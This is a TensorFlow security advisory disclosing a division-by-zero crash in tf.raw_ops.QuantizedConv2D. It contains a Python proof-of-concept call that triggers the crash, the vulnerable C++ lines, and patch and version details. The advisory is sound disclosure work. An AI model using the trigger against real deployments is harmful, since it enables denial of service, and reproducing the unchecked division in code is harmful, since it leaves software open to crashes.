GHSA-x4g7-fvjj-prg8

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GHSA-x4g7-fvjj-prg8

Summary: Division by 0 in `QuantizedConv2D`

Details: ### Impact An attacker can trigger a division by 0 in `tf.raw_ops.QuantizedConv2D`: ```python import tensorflow as tf input = tf.zeros([1, 1, 1, 1], dtype=tf.quint8) filter = tf.constant([], shape=[1, 0, 1, 1], dtype=tf.quint8) min_input = tf.constant(0.0) max_input = tf.constant(0.0001) min_filter = tf.constant(0.0) max_filter = tf.constant(0.0001) strides = [1, 1, 1, 1] padding = "SAME" tf.raw_ops.QuantizedConv2D(input=input, filter=filter, min_input=min_input, max_input=max_input, min_filter=min_filter, max_filter=max_filter, strides=strides, padding=padding) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/00e9a4d67d76703fa1aee33dac582acf317e0e81/tensorflow/core/kernels/quantized_conv_ops.cc#L257-L259) does a division by a quantity that is controlled by the caller: ```cc const int filter_value_count = filter_width * filter_height * input_depth; const int64 patches_per_chunk = kMaxChunkSize / (filter_value_count * sizeof(T1)); ``` ### Patches We have patched the issue in GitHub commit [cfa91be9863a91d5105a3b4941096044ab32036b](https://github.com/tensorflow/tensorflow/commit/cfa91be9863a91d5105a3b4941096044ab32036b). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

References: https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x4g7-fvjj-prg8, https://nvd.nist.gov/vuln/detail/CVE-2021-29527, https://github.com/tensorflow/tensorflow/commit/cfa91be9863a91d5105a3b4941096044ab32036b, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-455.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-653.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-164.yaml, https://github.com/tensorflow/tensorflow